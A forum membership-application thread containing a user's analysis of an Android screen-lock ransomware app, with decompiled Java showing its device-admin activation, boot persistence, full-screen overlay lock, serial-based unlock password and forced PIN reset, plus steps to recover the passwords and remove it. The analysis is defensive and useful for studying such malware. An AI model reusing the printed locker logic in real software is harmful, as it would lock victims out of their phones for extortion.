发表于 2017-8-22 18:44

申请会员ID:金帆【申请通过】

1.申请ID:金帆
2.个人邮箱:3235002166@qq.com
3.原创技术文章:《对一恶意锁屏勒索类软件的分析、破解和清除》
正文:
1、基本信息:
应用名称:酷跑刷钻助手
文件名称:com.h-1.apk
包名:com.h
软件图标:
MD5值:3b7595648ce4b92dd5ea19f01ecb3413
文件大小:154.02KB
受到威胁的系统:Android。
最低安装版本为安卓:2.3-2.3.2(Gingerbread)
对软件保护措施:des加密,简单混淆和代码误导(无加固)
安全度:低
样本编写工具:AIDE
分析时间:2017-08-20
2、开始分析
      进行分析的操作系统:Android。
      分析所用工具:APKtool+助手(1.7.5)
      注意:由于我对smali还不太熟悉,为了不影响分析,将所有smali文件都转换成了java文件,所以下面我们讨论的都是java的文件。
      好了,现在我们开始对这个锁机进行分析。
      我们首先看AndroidManifest.xml。得知此软件获取的权限有:android.permission.SEND_SMS(发送短信)
   android.permission.SYSTEM_ALERT_WINDOW(系统窗口权限,正常软件绝对用不到的一条权限)
   android.permission.RECEIVE_BOOT_COMPLETED(允许一个程序接收到 ACTION_BOOT_COMPLETED广播在系统完成启动)
   android.permission.INTERNET(网络访问权限,可能产生流量)
   android.permission.ACCESS_NETWORK_STATE(允许程序访问有关GSM网络的信息,可能产生流量)
    android.permission.WRITE_EXTERNAL_STORAGE(允许程序写入外部存储,如SD卡上写文件)
android.permission.MOUNT_UNMOUNT_FILESYSTEMS(允许程序挂载、反挂载外部文件系统)
权限都是一个正常的锁机应有的。并且没有assets文件夹。说明这软件没有做任何手脚隐藏真正的锁机。还有这个: </receiver>
      <receiver android:name=".MyAdmin" android:description="@string/hello">
            <meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin"/>
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
            </intent-filter>
      </receiver>
这个是激活设备管理器的。接下来我们会进行分析。
那么我们看他的启动类,是M.java。好的,我们来看看。private void activiteDevice()
{
    Class v7 = Class.forName("com.h.s");
    Intent localIntent = new Intent(p0,v7);
    Intent v4 = v4.setFlags(268435456);
    ComponentName v4 = p0.startService(v4);
    return;
    String v6 = v4.getMessage();
    NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(v6);
    throw v4;
}
public void onCreate(Bundle paramBundle0)
{
    LogCatBroadcaster.start(p0);
    p0.onCreate(p1);
    p0.activiteDevice();
    return;
}
}

onCreate 方法的p0.activiteDevice就是激活设备管理器,并且进入s类。我们先不看s类,
来看看开机启动广播的那个类(bbb.java):public void onReceive(Context paramContext0, Intent paramIntent1)
{
    String v6 = p2.getAction();
    boolean v6 = v6.equals("android.intent.action.BOOT_COMPLETED");
    if(v6 == 0) break :cond_0;
    p0.abortBroadcast();
    Class v9 = Class.forName("com.h.s");
    Intent localIntent = new Intent(p1,v9);
    Intent v6 = v6.addFlags(268435456);
    ComponentName v6 = p1.startService(v6);
    :cond_0
    return;
    String v8 = v6.getMessage();
    NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(v8);
    throw v6;
}
获取到com.h.s这个类,然后继承父类,并启动服务。也是指向了s类,好,我们来s类看看。(提示:S类才是我们的重头戏)
         打开s.java,这个java文件中的内容比较乱,且大多数没什么研究价值。我们只要来看这些代码:private void c()
{
    WindowManager$LayoutParams localWindowManager$LayoutParams = new WindowManager$LayoutParams();
    p0.wmParams = v5;
    Application v5 = p0.getApplication();
    Application v6 = p0.getApplication();
    Object v5 = v5.getSystemService(Context.WINDOW_SERVICE);
    p0.mWindowManager = ((WindowManager)v5);
    p0.wmParams.type = 2010;
    p0.wmParams.format = 1;
    p0.wmParams.flags = 1280;
    p0.wmParams.gravity = 49;
    p0.wmParams.x = 0;
    p0.wmParams.y = 0;
    p0.wmParams.width = -1;
    p0.wmParams.height = -1;
    Application v4 = p0.getApplication();
    LayoutInflater v4 = LayoutInflater.from(v4);
    View v5 = v4.inflate(2130903042,((ViewGroup)0));
    p0.mFloatLayout = v5;
    p0.mWindowManager.addView(p0.mFloatLayout,p0.wmParams);
    View v5 = p0.mFloatLayout.findViewById(2131296258);
    p0.bt = ((Button)v5);
    View v5 = p0.mFloatLayout.findViewById(2131296257);
    p0.ed = ((EditText)v5);
    View v5 = p0.mFloatLayout.findViewById(2131296256);
    p0.tv = ((TextView)v5);
    p0.ed.setHint("");
    p0.tv.append("      ☆飞哥出品☆");
    :goto_0
    s$100000001 locals$100000001 = new s$100000001(p0);
    p0.bt.setOnClickListener(v5);
    StringBuffer localStringBuffer = new StringBuffer();
    StringBuffer localStringBuffer = new StringBuffer();
    StringBuffer v6 = v6.append("\n");
    String v7 = p0.des.decrypt("e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c");
    StringBuffer v6 = v6.append(v7);
    String v6 = v6.toString();
    StringBuffer v5 = v5.append(v6);
    long v6 = p0.share.getLong("m",((long)0));
    StringBuffer v5 = v5.append(v6);
    String v5 = v5.toString();
    p0.tv.append(v5);
    :goto_1
    return;
    goto :goto_0
    goto :goto_1
}
看到这里我们就知道,这个锁机启动之后就创建了一个服务,服务中获取了WindowsManager,接着加载了一个LinearLayout并添加它,就实现了锁屏的效果。也就是说,如果使服务关闭,那就解除了锁屏。
接着我们直接搜索onCreate(这个方法就是在窗口被打开的时候调用的),我们看到public void onCreate()
{
    p0.onCreate();
    double v4 = Math.random();
    v4 = (v4 * ((double)10000));
    p0.pass = ((long)v4);
    v4 = (p0.pass + ((long)1));
    Long localLong = new Long(v4);
    p0.passw = v6;
    DU localDU = new DU("flower");
    p0.des = v4;7
    String v6 = p0.des.decrypt("c29fe56fa59ab0db");
    DU localDU = new DU(v6);
    p0.des = v4;
    :goto_0
    SharedPreferences v4 = p0.getSharedPreferences("Flowers",0);
    p0.share = v4;
    SharedPreferences$Editor v4 = p0.share.edit();
    p0.editor = v4;
    long v3 = p0.share.getLong("m",((long)0));
    v3 = v3==v5?0:v3>v5?1:-1;
    if(v3 != 0) break :cond_0;
    SharedPreferences$Editor v3 = p0.editor.putLong("m",p0.pass);
    boolean v3 = p0.editor.commit();
    StringBuffer localStringBuffer = new StringBuffer();
    StringBuffer v6 = v6.append("");
    StringBuffer v6 = v6.append(p0.passw);
    String v6 = v6.toString();
    String v5 = p0.des.encrypt(v6);
    SharedPreferences$Editor v3 = p0.editor.putString("passw",v5);
    boolean v3 = p0.editor.commit();
    :goto_1
    Context v4 = p0.getApplicationContext();
    boolean v3 = p0.is(v4);
    if(v3 == 0) break :cond_1;
    StringBuffer localStringBuffer = new StringBuffer();
    long v5 = p0.share.getLong("m",((long)8));
    StringBuffer v4 = v4.append(v5);
    StringBuffer v4 = v4.append("");
    String v4 = v4.toString();
    p0.ppss = v4;
    String v5 = p0.share.getString("passw","");
    String v4 = p0.des.decrypt(v5);
    p0.password = v4;
    :goto_2
    s$100000000 locals$100000000 = new s$100000000(p0);
    v3.start();
    :cond_0
    :goto_3
    return;
    goto :goto_0
    goto :goto_1
    goto :goto_2
    :cond_1
    String v5 = p0.des.decrypt("3de7023fe182c0c12682bd6adf309053");
    long v5 = Long.parseLong(v5);
    SharedPreferences$Editor v3 = p0.editor.putLong("m",v5);
    boolean v3 = p0.editor.commit();
    SharedPreferences$Editor v3 = p0.editor.putString("passw","d057eb59b5b40c77700ecb6bb7b627a9");
    boolean v3 = p0.editor.commit();
    goto :goto_3
    goto :goto_3
}
我们再看这几句:double v4 = Math.random();
    v4 = (v4 * ((double)10000));
    p0.pass = ((long)v4);
    v4 = (p0.pass + ((long)1));
这里生成了一个随机数,且知道了密码为生成的序列号+1。也就是序列号密码。
但我们还看到了一个有趣的东西: View v5 = p0.mFloatLayout.findViewById(2131296258);
    p0.bt = ((Button)v5);
一个按钮事件。我们将2131296258转换成16进制看看。转换成了7f090002。我们进public.xml查查看。<public type="id" name="bt" id="0x7f090002" />再进newone.xml(也就是勒索界面)看看,<Button android:textColor="#ffffffff" android:id="@id/bt" android:background="@drawable/image_2" android:layout_width="140.0dip" android:layout_height="140.0dip" android:text="" />这个按钮是什么?就是勒索界面的支付二维码!而勒索界面编辑框下面的那个按钮并没有任何用。恐怕到这里,童鞋们应该就知道勒索界面扫码支付解锁就是忽悠人的了吧。扫码根本不会自动解锁。
序列号密码我们知道了,但是他开启设备管理器还会设置一层PIN码。还记得一开始说的Myadmin.java了吗?我们现在就来看看Myadmin.java干了什么鬼东东。
public CharSequence onDisableRequested(Context paramContext0, Intent paramIntent1)
{
    String v6 = Integer.toString(1314);
    DevicePolicyManager v6 = p0.getManager(p1);
    v6.lockNow();
    DevicePolicyManager v6 = p0.getManager(p1);
    boolean v6 = v6.resetPassword(v6,0);
    CharSequence v6 = p0.onDisableRequested(p1,p2);
    return v6;
}
public void onEnabled(Context paramContext0, Intent paramIntent1)
{
    String v8 = Integer.toString(1314);
    Class v11 = Class.forName("com.h.s");
    Intent localIntent = new Intent(p1,v11);
    Intent v8 = v8.setFlags(268435456);
    ComponentName v8 = p1.startService(v8);
    DevicePolicyManager v8 = p0.getManager(p1);
    boolean v8 = v8.resetPassword(v8,0);
    p0.onEnabled(p1,p2);
    return;
    String v10 = v8.getMessage();
    NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(v10);
    throw v8;
}
public void onPasswordChanged(Context paramContext0, Intent paramIntent1)
{
    String v6 = Integer.toString(1314);
    DevicePolicyManager v6 = p0.getManager(p1);
    v6.lockNow();
    DevicePolicyManager v6 = p0.getManager(p1);
    boolean v6 = v6.resetPassword(v6,0);
    p0.onPasswordChanged(p1,p2);
    return;
}
可以看到,这个Myadmin.java就是设置了PIN密码。他将我们的系统PIN密码设置为1314了。并且也指向了s类。
最后谈谈S类末尾的那些DES加密,这些DES加密其实对于我们的破解没什么作用,最后将这些密文解密出来就是我们的密码。这里要用到smali插桩。这个就不详细说了(偏题了),网上教程很多,大家可以在网上搜索学习。
最后总结一下密码:序列号密码为   随机数(序列号)+1。
PIN锁密码:1314。
   最后提示一下解除方法,输入序列号密码解锁之后,返回桌面卸载软件时会因为软件有设备管理器权限而卸载不掉,这个时候去取消设备管理器权限的时候会蹦出来一层PIN锁,密码就是1314。取消之后正常卸载即可。如果不放心,可用杀毒软件进行全盘杀毒。
       关于我为什么要拿这个锁机样本来分析。首先是考虑到这个样本没什么特别的地方,是一个非常典型的锁机,并且没什么复杂的地方,对于有一定基础的同学来说,理解这个不是什么难事。还有一点则是这个锁机的流传性很高,或者说这个锁机的源码在恶意锁屏勒索类软件这个黑色产业中的流传性很高。做锁机的新手会用这个源码,有一定经验的老手也经常在这个源码上做修改。我统计过,在我破解的292个锁机中,用了这个源码,仅仅改了一下勒索界面的就有60多个,可见比例之高。所以经过了再三考虑,决定将一下这种锁机。现在我们来谈谈快捷破解方式:
       1、首先拿到一个锁机样本,我们先判断这个锁机是不是我们今天将的这种类型(这个应该很好判断吧,我们将了很多特征)。
       2、如果是,我们就直接找Myadmin(也就是设置PIN码的文件,名字可能有变化,但也是很好找的)。
       3、找到设置PIN码的语句,获得PIN码。
       4、找到s.java(也就是关于序列号的计算的文件),搜索onCreate方法,找到序列号计算语句,获得序列号密码计算方法。
       5、输入密码,进入界面,按照刚刚我们讲的进行卸载。
       本文到此结束,希望看了的童鞋平常安装软件的时候都小心一些,不要被此类软件套路了。谢谢!

Hmily 发表于 2017-8-24 12:07

ID:金帆
邮箱:3235002166@qq.com

申请通过,欢迎光临吾爱破解论坛,期待吾爱破解有你更加精彩,ID和密码自己通过邮件密码找回功能修改,请即时登陆并修改密码!
登陆后请在一周内在此帖报道,否则将删除ID信息。

ps:登录后把文章整理一下发到病毒分析区吧。

金帆 发表于 2017-8-24 14:34

报到。谢谢论坛管理员。

金帆 发表于 2017-8-24 14:44

其实谈起我申请会员的原因有点搞笑。我个人很喜欢帮助人。由于我爱好病毒破解。就经常在吾爱破解论坛的病毒救援区找合适的安卓病毒分析和破解。但是经常看到有些童鞋被病毒(如锁机困扰)。但是发了很久都没能有人将其破解,并且通常我都能知道密码,我看了就很捉急。思虑再三,决定注册一个账号。本来直接花19元注册更方便快捷,也更省事,但我实在囊中羞涩,因为我帮别人破解病毒之类的,和教学之类的都是免费的。事实上很多次我狠下心想收钱,最后看到他们很可怜都没有收钱,所以在申请区发帖。因为手机编辑,不知为何,图片没了,并且发的时候有一些激动,在一些地方没写好,本来以为申请不上,正在着手下一个教程的编写,没想到管理员很通人情的给我过了。在此对管理员表示感谢。

Hmily 发表于 2017-8-24 16:31

金帆 发表于 2017-8-24 14:44
其实谈起我申请会员的原因有点搞笑。我个人很喜欢帮助人。由于我爱好病毒破解。就经常在吾爱破解论坛的病毒 ...

欢迎交流,帮助他人解决问题。
页: [1]
查看完整版本: 申请会员ID:金帆【申请通过】